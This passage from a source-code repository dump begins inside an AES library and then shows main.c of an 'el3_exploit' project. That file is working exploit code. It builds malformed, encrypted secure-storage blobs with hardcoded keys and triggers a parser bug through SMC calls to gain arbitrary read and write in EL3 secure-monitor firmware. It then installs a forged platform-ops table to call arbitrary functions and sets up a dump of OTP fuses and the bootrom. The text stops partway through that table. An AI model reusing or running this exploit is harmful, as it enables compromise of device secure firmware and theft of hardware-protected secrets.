AES_ctx* ctx, const uint8_t* key) 220 | { 221 | KeyExpansion(ctx->RoundKey, key); 222 | } 223 | #if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1)) 224 | void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv) 225 | { 226 | KeyExpansion(ctx->RoundKey, key); 227 | memcpy (ctx->Iv, iv, AES_BLOCKLEN); 228 | } 229 | void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv) 230 | { 231 | memcpy (ctx->Iv, iv, AES_BLOCKLEN); 232 | } 233 | #endif 234 | 235 | // This function adds the round key to state. 236 | // The round key is added to the state by an XOR function. 237 | static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey) 238 | { 239 | uint8_t i,j; 240 | for (i = 0; i < 4; ++i) 241 | { 242 | for (j = 0; j < 4; ++j) 243 | { 244 | (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j]; 245 | } 246 | } 247 | } 248 | 249 | // The SubBytes Function Substitutes the values in the 250 | // state matrix with values in an S-box. 251 | static void SubBytes(state_t* state) 252 | { 253 | uint8_t i, j; 254 | for (i = 0; i < 4; ++i) 255 | { 256 | for (j = 0; j < 4; ++j) 257 | { 258 | (*state)[j][i] = getSBoxValue((*state)[j][i]); 259 | } 260 | } 261 | } 262 | 263 | // The ShiftRows() function shifts the rows in the state to the left. 264 | // Each row is shifted with different offset. 265 | // Offset = Row number. So the first row is not shifted. 266 | static void ShiftRows(state_t* state) 267 | { 268 | uint8_t temp; 269 | 270 | // Rotate first row 1 columns to left 271 | temp = (*state)[0][1]; 272 | (*state)[0][1] = (*state)[1][1]; 273 | (*state)[1][1] = (*state)[2][1]; 274 | (*state)[2][1] = (*state)[3][1]; 275 | (*state)[3][1] = temp; 276 | 277 | // Rotate second row 2 columns to left 278 | temp = (*state)[0][2]; 279 | (*state)[0][2] = (*state)[2][2]; 280 | (*state)[2][2] = temp; 281 | 282 | temp = (*state)[1][2]; 283 | (*state)[1][2] = (*state)[3][2]; 284 | (*state)[3][2] = temp; 285 | 286 | // Rotate third row 3 columns to left 287 | temp = (*state)[0][3]; 288 | (*state)[0][3] = (*state)[3][3]; 289 | (*state)[3][3] = (*state)[2][3]; 290 | (*state)[2][3] = (*state)[1][3]; 291 | (*state)[1][3] = temp; 292 | } 293 | 294 | static uint8_t xtime(uint8_t x) 295 | { 296 | return ((x<<1) ^ (((x>>7) & 1) * 0x1b)); 297 | } 298 | 299 | // MixColumns function mixes the columns of the state matrix 300 | static void MixColumns(state_t* state) 301 | { 302 | uint8_t i; 303 | uint8_t Tmp, Tm, t; 304 | for (i = 0; i < 4; ++i) 305 | { 306 | t = (*state)[i][0]; 307 | Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ; 308 | Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ; 309 | Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ; 310 | Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ; 311 | Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ; 312 | } 313 | } 314 | 315 | // Multiply is used to multiply numbers in the field GF(2^8) 316 | // Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary 317 | // The compiler seems to be able to vectorize the operation better this way. 318 | // See https://github.com/kokke/tiny-AES-c/pull/34 319 | #if MULTIPLY_AS_A_FUNCTION 320 | static uint8_t Multiply(uint8_t x, uint8_t y) 321 | { 322 | return (((y & 1) * x) ^ 323 | ((y>>1 & 1) * xtime(x)) ^ 324 | ((y>>2 & 1) * xtime(xtime(x))) ^ 325 | ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ 326 | ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */ 327 | } 328 | #else 329 | #define Multiply(x, y) \ 330 | ( ((y & 1) * x) ^ \ 331 | ((y>>1 & 1) * xtime(x)) ^ \ 332 | ((y>>2 & 1) * xtime(xtime(x))) ^ \ 333 | ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \ 334 | ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \ 335 | 336 | #endif 337 | 338 | #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 339 | /* 340 | static uint8_t getSBoxInvert(uint8_t num) 341 | { 342 | return rsbox[num]; 343 | } 344 | */ 345 | #define getSBoxInvert(num) (rsbox[(num)]) 346 | 347 | // MixColumns function mixes the columns of the state matrix. 348 | // The method used to multiply may be difficult to understand for the inexperienced. 349 | // Please use the references to gain more information. 350 | static void InvMixColumns(state_t* state) 351 | { 352 | int i; 353 | uint8_t a, b, c, d; 354 | for (i = 0; i < 4; ++i) 355 | { 356 | a = (*state)[i][0]; 357 | b = (*state)[i][1]; 358 | c = (*state)[i][2]; 359 | d = (*state)[i][3]; 360 | 361 | (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09); 362 | (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d); 363 | (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b); 364 | (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e); 365 | } 366 | } 367 | 368 | 369 | // The SubBytes Function Substitutes the values in the 370 | // state matrix with values in an S-box. 371 | static void InvSubBytes(state_t* state) 372 | { 373 | uint8_t i, j; 374 | for (i = 0; i < 4; ++i) 375 | { 376 | for (j = 0; j < 4; ++j) 377 | { 378 | (*state)[j][i] = getSBoxInvert((*state)[j][i]); 379 | } 380 | } 381 | } 382 | 383 | static void InvShiftRows(state_t* state) 384 | { 385 | uint8_t temp; 386 | 387 | // Rotate first row 1 columns to right 388 | temp = (*state)[3][1]; 389 | (*state)[3][1] = (*state)[2][1]; 390 | (*state)[2][1] = (*state)[1][1]; 391 | (*state)[1][1] = (*state)[0][1]; 392 | (*state)[0][1] = temp; 393 | 394 | // Rotate second row 2 columns to right 395 | temp = (*state)[0][2]; 396 | (*state)[0][2] = (*state)[2][2]; 397 | (*state)[2][2] = temp; 398 | 399 | temp = (*state)[1][2]; 400 | (*state)[1][2] = (*state)[3][2]; 401 | (*state)[3][2] = temp; 402 | 403 | // Rotate third row 3 columns to right 404 | temp = (*state)[0][3]; 405 | (*state)[0][3] = (*state)[1][3]; 406 | (*state)[1][3] = (*state)[2][3]; 407 | (*state)[2][3] = (*state)[3][3]; 408 | (*state)[3][3] = temp; 409 | } 410 | #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 411 | 412 | // Cipher is the main function that encrypts the PlainText. 413 | static void Cipher(state_t* state, const uint8_t* RoundKey) 414 | { 415 | uint8_t round = 0; 416 | 417 | // Add the First round key to the state before starting the rounds. 418 | AddRoundKey(0, state, RoundKey); 419 | 420 | // There will be Nr rounds. 421 | // The first Nr-1 rounds are identical. 422 | // These Nr rounds are executed in the loop below. 423 | // Last one without MixColumns() 424 | for (round = 1; ; ++round) 425 | { 426 | SubBytes(state); 427 | ShiftRows(state); 428 | if (round == Nr) { 429 | break; 430 | } 431 | MixColumns(state); 432 | AddRoundKey(round, state, RoundKey); 433 | } 434 | // Add round key to last round 435 | AddRoundKey(Nr, state, RoundKey); 436 | } 437 | 438 | #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 439 | static void InvCipher(state_t* state, const uint8_t* RoundKey) 440 | { 441 | uint8_t round = 0; 442 | 443 | // Add the First round key to the state before starting the rounds. 444 | AddRoundKey(Nr, state, RoundKey); 445 | 446 | // There will be Nr rounds. 447 | // The first Nr-1 rounds are identical. 448 | // These Nr rounds are executed in the loop below. 449 | // Last one without InvMixColumn() 450 | for (round = (Nr - 1); ; --round) 451 | { 452 | InvShiftRows(state); 453 | InvSubBytes(state); 454 | AddRoundKey(round, state, RoundKey); 455 | if (round == 0) { 456 | break; 457 | } 458 | InvMixColumns(state); 459 | } 460 | 461 | } 462 | #endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1) 463 | 464 | /*****************************************************************************/ 465 | /* Public functions: */ 466 | /*****************************************************************************/ 467 | #if defined(ECB) && (ECB == 1) 468 | 469 | 470 | void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf) 471 | { 472 | // The next function call encrypts the PlainText with the Key using AES algorithm. 473 | Cipher((state_t*)buf, ctx->RoundKey); 474 | } 475 | 476 | void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf) 477 | { 478 | // The next function call decrypts the PlainText with the Key using AES algorithm. 479 | InvCipher((state_t*)buf, ctx->RoundKey); 480 | } 481 | 482 | 483 | #endif // #if defined(ECB) && (ECB == 1) 484 | 485 | 486 | 487 | 488 | 489 | #if defined(CBC) && (CBC == 1) 490 | 491 | 492 | static void XorWithIv(uint8_t* buf, const uint8_t* Iv) 493 | { 494 | uint8_t i; 495 | for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size 496 | { 497 | buf[i] ^= Iv[i]; 498 | } 499 | } 500 | 501 | void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length) 502 | { 503 | size_t i; 504 | uint8_t *Iv = ctx->Iv; 505 | for (i = 0; i < length; i += AES_BLOCKLEN) 506 | { 507 | XorWithIv(buf, Iv); 508 | Cipher((state_t*)buf, ctx->RoundKey); 509 | Iv = buf; 510 | buf += AES_BLOCKLEN; 511 | } 512 | /* store Iv in ctx for next call */ 513 | memcpy(ctx->Iv, Iv, AES_BLOCKLEN); 514 | } 515 | 516 | void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) 517 | { 518 | size_t i; 519 | uint8_t storeNextIv[AES_BLOCKLEN]; 520 | for (i = 0; i < length; i += AES_BLOCKLEN) 521 | { 522 | memcpy(storeNextIv, buf, AES_BLOCKLEN); 523 | InvCipher((state_t*)buf, ctx->RoundKey); 524 | XorWithIv(buf, ctx->Iv); 525 | memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN); 526 | buf += AES_BLOCKLEN; 527 | } 528 | 529 | } 530 | 531 | #endif // #if defined(CBC) && (CBC == 1) 532 | 533 | 534 | 535 | #if defined(CTR) && (CTR == 1) 536 | 537 | /* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */ 538 | void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length) 539 | { 540 | uint8_t buffer[AES_BLOCKLEN]; 541 | 542 | size_t i; 543 | int bi; 544 | for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) 545 | { 546 | if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */ 547 | { 548 | 549 | memcpy(buffer, ctx->Iv, AES_BLOCKLEN); 550 | Cipher((state_t*)buffer,ctx->RoundKey); 551 | 552 | /* Increment Iv and handle overflow */ 553 | for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) 554 | { 555 | /* inc will overflow */ 556 | if (ctx->Iv[bi] == 255) 557 | { 558 | ctx->Iv[bi] = 0; 559 | continue; 560 | } 561 | ctx->Iv[bi] += 1; 562 | break; 563 | } 564 | bi = 0; 565 | } 566 | 567 | buf[i] = (buf[i] ^ buffer[bi]); 568 | } 569 | } 570 | 571 | #endif // #if defined(CTR) && (CTR == 1) 572 | 573 | -------------------------------------------------------------------------------- /el3_exploit/main/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "aes.h" 8 | #include "sha256.h" 9 | 10 | #define DEBUGFS_PATH "/sys/kernel/debug/hax" 11 | 12 | #define SMC_ID_STORAGE_PARSE 0x82000069 13 | #define SMC_ID_STORAGE_READ 0x82000061 14 | #define SMC_ID_STORAGE_WRITE 0x82000062 15 | 16 | #define TYPE_PARAM_HEADER 1 17 | #define TYPE_ENCRYPTED_SIZE 2 18 | #define TYPE_KEY_DEFINITION 3 19 | #define TYPE_NAME_SIZE 4 20 | #define TYPE_NAME_DATA 5 21 | #define TYPE_VALUE_SIZE 6 22 | #define TYPE_VALUE_DATA 7 23 | #define TYPE_KEY_TYPE 8 24 | #define TYPE_BUFFER_STATUS 9 25 | #define TYPE_HASH_DATA 10 26 | #define TYPE_UNKNOWN 11 27 | 28 | #define F_EFUSE_READ 0x5119994 29 | 30 | #define OTP_SIZE 0x100 31 | #define BOOTROM_SIZE 0x8000 32 | 33 | #define UPAT 4UL 34 | #define LPAT 0x181UL 35 | 36 | #define HEAP_HEAD 0x517E8E8 37 | #define PLATFORM_OPS_PTR 0x51BFC18 38 | #define FAKE_PLATFORM_OPS_ADDR (HEAP_HEAD + 0x20000) 39 | 40 | #define TTBR0_EL3 0x51BF980 41 | 42 | typedef unsigned char u8; 43 | typedef unsigned int u32; 44 | typedef unsigned long u64; 45 | 46 | uint64_t call_smc(u32 a, u64 b, u64 c, u64 d) 47 | { 48 | uint64_t rv = 0; 49 | FILE *f = fopen(DEBUGFS_PATH "/smc", "w"); 50 | if (f == NULL) 51 | { 52 | printf("could not open smc\n"); 53 | exit(-1); 54 | } 55 | 56 | fprintf(f, "%x %lx %lx %lx\n", a, b, c, d); 57 | fclose(f); 58 | 59 | f = fopen(DEBUGFS_PATH "/smc", "rb"); 60 | if (f == NULL) 61 | { 62 | printf("could not open smc\n"); 63 | exit(-1); 64 | } 65 | 66 | read(fileno(f), &rv, 8); 67 | fclose(f); 68 | 69 | return rv; 70 | } 71 | 72 | static inline void uart_put_hex(unsigned int data, unsigned bitlen) 73 | { 74 | int i; 75 | unsigned char s; 76 | for (i = bitlen - 4; i >= 0; i -= 4) 77 | { 78 | if ((data >> i) == 0) 79 | { 80 | putc(0x30, stdout); 81 | continue; 82 | } 83 | s = (data >> i) & 0xf; 84 | if (s < 10) 85 | putc(0x30 + s, stdout); 86 | else 87 | putc(0x61 + s - 10, stdout); 88 | } 89 | } 90 | 91 | void hexdump(void *ptr, int buflen) 92 | { 93 | unsigned char *buf = (unsigned char *)ptr; 94 | int i, j; 95 | for (i = 0; i < buflen; i += 16) 96 | { 97 | printf("%p: ", (ptr + i)); 98 | putc(':', stdout); 99 | putc(' ', stdout); 100 | for (j = 0; j < 16; j++) 101 | { 102 | if (i + j < buflen) 103 | { 104 | uart_put_hex(buf[i + j], 8); 105 | putc(' ', stdout); 106 | } 107 | else 108 | { 109 | putc(' ', stdout); 110 | putc(' ', stdout); 111 | putc(' ', stdout); 112 | } 113 | } 114 | putc(' ', stdout); 115 | for (j = 0; j < 16; j++) 116 | { 117 | if (i + j < buflen) 118 | { 119 | if (buf[i + j] >= 0x20 && buf[i + j] <= 0x7e) 120 | { 121 | putc(buf[i + j], stdout); 122 | } 123 | else 124 | { 125 | putc('.', stdout); 126 | } 127 | } 128 | } 129 | putc('\n', stdout); 130 | } 131 | } 132 | 133 | void w32(u8 *p, u32 v) 134 | { 135 | p[0] = (v & 0xff); 136 | p[1] = (v >> 8) & 0xff; 137 | p[2] = (v >> 16) & 0xff; 138 | p[3] = (v >> 24) & 0xff; 139 | } 140 | 141 | u32 key_entry(u8 *o, u8 *name, u8 *data, u32 data_len) 142 | { 143 | u8 *so = o; 144 | u8 hash[32]; 145 | 146 | memset(hash, 0, sizeof(hash)); 147 | 148 | SHA256_CTX sha256_ctx; 149 | sha256_init(&sha256_ctx); 150 | sha256_update(&sha256_ctx, data, data_len); 151 | sha256_final(&sha256_ctx, hash); 152 | 153 | u32 sz = 154 | 12 + // TYPE_VALUE_SIZE 155 | (8 + data_len) + // TYPE_VALUE_DATA 156 | (8 + 32); // TYPE_HASH_DATA 157 | 158 | if (name != (u8 *)0) 159 | { 160 | // TYPE_NAME_SIZE + TYPE_NAME_DATA 161 | sz += 12 + (8 + strlen(name)); 162 | } 163 | 164 | w32(o + 0, 0x3); 165 | w32(o + 4, sz); 166 | o += 8; 167 | 168 | if (name != (u8 *)0) 169 | { 170 | w32(o + 0, TYPE_NAME_SIZE); 171 | w32(o + 4, 4); 172 | w32(o + 8, strlen(name)); 173 | o += 12; 174 | 175 | w32(o + 0, TYPE_NAME_DATA); 176 | w32(o + 4, strlen(name)); 177 | for (int i = 0; i < strlen(name); i++) 178 | { 179 | o[8 + i] = name[i]; 180 | } 181 | o += 8 + strlen(name); 182 | } 183 | 184 | w32(o + 0, TYPE_VALUE_SIZE); 185 | w32(o + 4, 4); 186 | w32(o + 8, data_len); 187 | o += 12; 188 | 189 | w32(o + 0, TYPE_VALUE_DATA); 190 | w32(o + 4, data_len); 191 | memcpy(o + 8, data, data_len); 192 | o += 8 + data_len; 193 | 194 | w32(o + 0, TYPE_HASH_DATA); 195 | w32(o + 4, 0x20); 196 | memcpy(o + 8, hash, 0x20); 197 | o += 8 + 32; 198 | 199 | return (u32)((o - so) & 0xffffffff); 200 | } 201 | 202 | void aes256_cbc_encrypt(u8 *key, u8 *iv, u8 *buffer, uint32_t size) 203 | { 204 | struct AES_ctx ctx; 205 | AES_init_ctx_iv(&ctx, key, iv); 206 | AES_CBC_encrypt_buffer(&ctx, buffer, size); 207 | } 208 | 209 | void fixed_encrypt(u8 *buffer, uint32_t size) 210 | { 211 | static u8 key[] = { 212 | 0xb3, 0xd3, 0x24, 0x8f, 0x6e, 0x34, 0x0c, 0x8b, 213 | 0xca, 0xb6, 0x3f, 0x10, 0x77, 0x87, 0x5d, 0xee, 214 | 0x9d, 0x93, 0x1d, 0x76, 0xd0, 0xd8, 0x5e, 0x98, 215 | 0x1c, 0xf0, 0x21, 0x43, 0x8f, 0x24, 0xb6, 0x15}; 216 | 217 | static u8 iv[] = { 218 | 0xab, 0x75, 0x0d, 0xc4, 0x3e, 0x28, 0x40, 0xa7, 219 | 0xf9, 0x88, 0xea, 0xd7, 0xbe, 0x30, 0xe7, 0x01}; 220 | 221 | aes256_cbc_encrypt(key, iv, buffer, size); 222 | } 223 | 224 | void storage_encrypt(u8 *buffer, uint32_t size) 225 | { 226 | static u8 key[] = { 227 | 0x13, 0x22, 0x02, 0x4a, 0x55, 0x23, 0xbb, 0xcb, 228 | 0xf1, 0xfb, 0x2a, 0xcc, 0xbb, 0x95, 0xf4, 0x50, 229 | 0xae, 0x08, 0xd7, 0xfb, 0x80, 0xf2, 0x64, 0x72, 230 | 0xe3, 0x3c, 0xc4, 0xb4, 0xa3, 0x50, 0xd9, 0xf1}; 231 | 232 | static u8 iv[] = { 233 | 0x2a, 0xde, 0xfc, 0xd7, 0x67, 0xc8, 0xde, 0xd0, 234 | 0xf0, 0x1e, 0xe8, 0x12, 0xf9, 0x57, 0x25, 0x36}; 235 | 236 | aes256_cbc_encrypt(key, iv, buffer, size); 237 | } 238 | 239 | void tlv32(uint8_t *o, uint32_t t, uint32_t l, uint32_t v) 240 | { 241 | *(uint32_t *)(o + 0) = t; 242 | *(uint32_t *)(o + 4) = l; 243 | *(uint32_t *)(o + 8) = v; 244 | } 245 | 246 | void build_hax_storage_header(u8 *out, uint32_t encrypted_size) 247 | { 248 | u8 *p_hdr = out + 0; 249 | u8 *p_param = out + 0x200; 250 | 251 | static u8 magic[11] = { 252 | 'A', 'M', 'L', 'S', 'E', 'C', 'U', 'R', 'I', 'T', 'Y'}; 253 | 254 | // build plaintext header 255 | memset(p_hdr, 0, 0x200); 256 | memcpy(p_hdr, magic, sizeof(magic)); 257 | w32(p_hdr + 0x10, 0); // key version, 0 = skip sha256 of body 258 | w32(p_hdr + 0x14, 2); // seed mode, 2 uses the hardcoded key. 259 | 260 | // build plaintext param block 261 | memset(p_param, 0, 0x200); 262 | w32(p_param + 0x00, TYPE_PARAM_HEADER); 263 | w32(p_param + 0x04, 24); // 24 = size of next two TLVs 264 | 265 | w32(p_param + 0x08, TYPE_ENCRYPTED_SIZE); 266 | w32(p_param + 0x0c, 4); 267 | w32(p_param + 0x10, encrypted_size); 268 | 269 | w32(p_param + 0x14, TYPE_UNKNOWN); 270 | w32(p_param + 0x18, 4); 271 | w32(p_param + 0x1c, 0); 272 | 273 | // encrypt param block 274 | storage_encrypt(p_param, 0x200); 275 | } 276 | 277 | void build_hax_storage_header2(u8 *out, uint8_t *paramdata, size_t paramdata_len) 278 | { 279 | u8 *p_hdr = out + 0; 280 | u8 *p_param = out + 0x200; 281 | 282 | static u8 magic[11] = { 283 | 'A', 'M', 'L', 'S', 'E', 'C', 'U', 'R', 'I', 'T', 'Y'}; 284 | 285 | // build plaintext header 286 | memset(p_hdr, 0, 0x200); 287 | memcpy(p_hdr, magic, sizeof(magic)); 288 | w32(p_hdr + 0x10, 0); // key version, 0 = skip sha256 of body 289 | w32(p_hdr + 0x14, 2); // seed mode, 2 uses the hardcoded key. 290 | 291 | // build plaintext param block 292 | memset(p_param, 0, 0x200); 293 | memcpy(p_param, paramdata, paramdata_len); 294 | 295 | // encrypt param block 296 | storage_encrypt(p_param, 0x200); 297 | } 298 | 299 | void clear_procfile(char *proc_file, size_t len) 300 | { 301 | FILE *f = fopen(proc_file, "wb"); 302 | if (f == NULL) 303 | { 304 | printf("could not open file: '%s'\n", proc_file); 305 | exit(-1); 306 | } 307 | uint8_t *buf = malloc(len); 308 | memset(buf, 0xaa, len); 309 | fwrite(buf, len, 1, f); 310 | fclose(f); 311 | free(buf); 312 | } 313 | 314 | void clear_procfiles() 315 | { 316 | clear_procfile(DEBUGFS_PATH "/storage", 0x800); 317 | clear_procfile(DEBUGFS_PATH "/haxbuf", 0x800); 318 | clear_procfile(DEBUGFS_PATH "/input_a", 0x800); 319 | clear_procfile(DEBUGFS_PATH "/input_b", 0x800); 320 | clear_procfile(DEBUGFS_PATH "/output_a", 0x800); 321 | clear_procfile(DEBUGFS_PATH "/output_b", 0x800); 322 | } 323 | 324 | void write_procfile(char *proc_file, uint8_t *data, size_t len) 325 | { 326 | FILE *f = fopen(proc_file, "wb"); 327 | if (f == NULL) 328 | { 329 | printf("could not open file: '%s'\n", proc_file); 330 | exit(-1); 331 | } 332 | fwrite(data, len, 1, f); 333 | fclose(f); 334 | } 335 | 336 | void read_procfile(char *proc_file, uint8_t *data, size_t len) 337 | { 338 | FILE *f = fopen(proc_file, "rb"); 339 | if (f == NULL) 340 | { 341 | printf("could not open file: '%s'\n", proc_file); 342 | exit(-1); 343 | } 344 | fread(data, len, 1, f); 345 | fclose(f); 346 | } 347 | 348 | void write_storage(uint8_t *data, size_t len) 349 | { 350 | write_procfile(DEBUGFS_PATH "/storage", data, len); 351 | } 352 | 353 | void write_haxbuf(uint8_t *data, size_t len) 354 | { 355 | write_procfile(DEBUGFS_PATH "/haxbuf", data, len); 356 | } 357 | 358 | void write_input_b(uint8_t *data, size_t len) 359 | { 360 | write_procfile(DEBUGFS_PATH "/input_b", data, len); 361 | } 362 | 363 | void write_input_a(uint8_t *data, size_t len) 364 | { 365 | write_procfile(DEBUGFS_PATH "/input_a", data, len); 366 | } 367 | 368 | void read_output_b(uint8_t *data, size_t len) 369 | { 370 | read_procfile(DEBUGFS_PATH "/output_b", data, len); 371 | } 372 | 373 | uint64_t read64(uint64_t addr) 374 | { 375 | uint8_t scratch[0x2000]; 376 | uint8_t *pp; 377 | uint8_t *pp_o; 378 | 379 | pp = scratch + 0x400; 380 | pp_o = pp; 381 | 382 | for (int i = 0; i < 65; i++) 383 | { 384 | pp += key_entry(pp, "AAAA", "BBB", 4); 385 | } 386 | 387 | pp += key_entry(pp, "XXXX", "CCC", 4); 388 | storage_encrypt(pp_o, ((pp - pp_o) + 15) & 0xfffffff0); 389 | build_hax_storage_header(scratch, pp - pp_o); 390 | write_storage(scratch, sizeof(scratch)); 391 | 392 | uint64_t rv = call_smc(SMC_ID_STORAGE_PARSE, 0x40000, 0, 0); 393 | 394 | u8 fake_key[0x90 * 2]; 395 | 396 | // overwrite key entry 33+34 using broken parse 397 | memset(fake_key, 0, sizeof(fake_key)); 398 | for (int i = 0; i < 2; i++) 399 | { 400 | memcpy(fake_key + (i * 0x90), "XXXX", 4); 401 | w32(fake_key + (i * 0x90) + 0x50, 4); // name_len 402 | w32(fake_key + (i * 0x90) + 0x5c, 8); // value_size 403 | w32(fake_key + (i * 0x90) + 0x60, addr); // value_ptr 404 | w32(fake_key + (i * 0x90) + 0x88, 1); // key_in_use 405 | } 406 | 407 | build_hax_storage_header2(scratch, fake_key + 8, sizeof(fake_key) - 8); 408 | write_storage(scratch, sizeof(scratch)); 409 | 410 | rv = call_smc(SMC_ID_STORAGE_PARSE, 0x40000, 0, 0); 411 | 412 | // read key 'XXXX' 413 | tlv32(scratch, 4, 0x100, 0x58585858); 414 | write_input_b(scratch, 0x10); 415 | rv = call_smc(SMC_ID_STORAGE_READ, 0, 0, 0); 416 | 417 | read_output_b(scratch, 12); 418 | if (*(uint32_t *)(scratch) != 8) 419 | { 420 | printf("read64: error! %x\n", *(uint32_t *)(scratch)); 421 | exit(-1); 422 | } 423 | 424 | return *(uint64_t *)(scratch + 4); 425 | } 426 | 427 | void write64(uint64_t addr, uint64_t value) 428 | { 429 | uint8_t scratch[0x2000]; 430 | uint8_t *pp; 431 | uint8_t *pp_o; 432 | 433 | pp = scratch + 0x400; 434 | pp_o = pp; 435 | 436 | for (int i = 0; i < 65; i++) 437 | { 438 | pp += key_entry(pp, "AAAA", "BBB", 4); 439 | } 440 | 441 | pp += key_entry(pp, "XXXX", "CCC", 4); 442 | storage_encrypt(pp_o, ((pp - pp_o) + 15) & 0xfffffff0); 443 | build_hax_storage_header(scratch, pp - pp_o); 444 | write_storage(scratch, sizeof(scratch)); 445 | 446 | uint64_t rv = call_smc(SMC_ID_STORAGE_PARSE, 0x40000, 0, 0); 447 | 448 | u8 fake_key[0x90 * 2]; 449 | 450 | // overwrite key entry 64+65 using broken parse 451 | memset(fake_key, 0, sizeof(fake_key)); 452 | for (int i = 0; i < 2; i++) 453 | { 454 | memcpy(fake_key + (i * 0x90), "XXXX", 4); 455 | w32(fake_key + (i * 0x90) + 0x50, 4); // name_len 456 | w32(fake_key + (i * 0x90) + 0x5c, 8); // value_size 457 | w32(fake_key + (i * 0x90) + 0x60, addr); // value_ptr 458 | w32(fake_key + (i * 0x90) + 0x88, 1); // key_in_use 459 | } 460 | 461 | build_hax_storage_header2(scratch, fake_key + 8, sizeof(fake_key) - 8); 462 | write_storage(scratch, sizeof(scratch)); 463 | 464 | rv = call_smc(SMC_ID_STORAGE_PARSE, 0x40000, 0, 0); 465 | 466 | pp = scratch; 467 | 468 | w32(pp + 0x00, 0x4); // name_len 469 | w32(pp + 0x04, 0x8); // value_size 470 | w32(pp + 0x08, 0x0); // buffer_status 471 | memcpy(pp + 0x0c, "XXXX", 4); 472 | w32(pp + 0x10, value & 0xffffffff); 473 | w32(pp + 0x14, (value >> 32) & 0xffffffff); 474 | write_input_b(scratch, 0x20); 475 | rv = call_smc(SMC_ID_STORAGE_WRITE, 0, 0, 0); 476 | } 477 | 478 | 479 | void call3(u64 addr, u64 a, u64 b, u64 c) 480 | { 481 | // install hacked platform ops table 482 | uint64_t platform_op_table[72] = { 483 | 0x000000000511a59c, // 0 484 | 0x000000000511a5b4, // 1 485 | 0x000000000511a5a8, // 2 486 | 0x000000000511a5c0, // 3 487 | 0x0000000005120348, // 4 488 | 0x0000000005120350, // 5 489 | 0x0000000005120358, // 6 490 | 0x0000000005120360, // 7 491 | 0x0000000005120368, // 8 492 | 0x0000000005120370, // 9 493 | 0x0000000005120378, // 10 494 | 0x000000000511a5cc, // 11 495 | 0x000000000511a5e4, // 12 496 | 0x0000000000000000, // 13 497 | 0x0000000000000000, // 14 498 | 0x0000000000000000, // 15 499 | 0x000000000511a874, // 16 500 | 0x000000000511a8d4, // 17 501 | 0x000000000511e30c, // 18 502 | 0x000000000511e36c, // 19 503 | 0x000000000511e5c4, // 20 504 | 0x000000000511a5f8, // 21 505 | 0x0000000005120cf4, // 22 506 | 0x0000000005120d20, // 23 507 | 0x0000000005120d54, // 24 508 | 0x0000000005120d78, // 25 509 | 0x0000000005120d9c, // 26 510 | 0x0000000005120dc0, // 27 511 | 0x0000000005120de4, // 28 512 | 0x0000000005120dec, // 29 513 | 0x0000000005120e04, // 30 514 | 0x0000000005120e1c, // 31 515 | 0x0000000000000000, // 32 516 | 0x0000000000000000, // 33 517 | 0x0000000000000000, // 34 518 | 0x0000000000000000, // 35 519 | 0x0000000000000000, // 36 520 | 0x0000000000000000, // 37 521 | 0x0000000000000000, // 38 522 | 0x0000000000000000, // 39 523 | 0x0000000000000000, // 40 524 | 0x0000000000000000, // 41 525 | 0x0000000000000000, // 42 526 | 0x0000000000000000, // 43 527 | 0x0000000000000000, // 44 528 | 0x000000000511a624, // 45 529 | 0x000000000511a684, // 46 530 | 0x0000000005119dcc, // 47 531 | 0x0000000005119e6c, // 48 532 | 0x0000000000000000, // 49 533 | 0x0000000000000000, // 50 534 | 0x0000000000000000, // 51 535 | 0x0000000000000000, // 52 536 | 0x0000000000000000, // 53 537 | 0x0000000005119ed0, // 54 538 | 0x0000000005120e3c, // 55 539 | 0x0000000005120e40, // 56 540 | 0x0000000005120e44, // 57 541 | 0x0000000005119be0, // 58 542 | 0x000000000511ac70, // 59 543 | 0x000000000511a908, // 60 544 | 0x0000000005121250, // 61 545 | 0x000000000511af68, // 62 546 | 0x000000000512157c, // 63 